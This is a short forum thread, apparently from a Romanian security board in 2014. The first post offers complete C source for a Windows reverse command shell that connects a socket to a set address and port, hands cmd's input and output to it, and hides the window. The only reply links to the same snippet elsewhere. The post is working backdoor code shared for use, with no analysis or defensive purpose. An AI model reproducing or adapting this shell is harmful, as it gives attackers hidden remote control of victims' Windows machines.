Cartman. Posted June 27, 2014 Report Posted June 27, 2014 Here is a Reverse CMD Shell #include <winsock2.h>#pragma comment(lib,"ws2_32")void main(){WSADATA a;SOCKET b;STARTUPINFO c;PROCESS_INFORMATION d;struct sockaddr_in e;memset(&e,0,sizeof(e));memset(&c,0,sizeof(c));WSAStartup(0x202,&a); //Version: 0x202 = 2.2b=WSASocket(2,1,6,0,0,0);e.sin_family=0x2; //0x2 = AF_INETe.sin_port=ntohs(0x7B9); //Port: 0x7B9 = 1977e.sin_addr.s_addr=inet_addr("127.0.0.1");connect(b,(struct sockaddr*)&e,sizeof(e));c.cb=sizeof(c);c.dwFlags=0x00000100; //0x00000100 = STARTF_USESTDHANDLESc.hStdInput=c.hStdOutput=c.hStdError=(void*)b;CreateProcess(0,"cmd",0,0,1,0x08000000,0,0,&c,&d); //1 = TRUE, 0x08000000 = CREATE_NO_WINDOW} Quote
Elohim Posted June 27, 2014 Report Posted June 27, 2014 Ce faci bre, te-ai apucat sa portezi OpenSC pe RST ?https://www.opensc.ws/c-snippets/17017-reverse-connection-shell.html Quote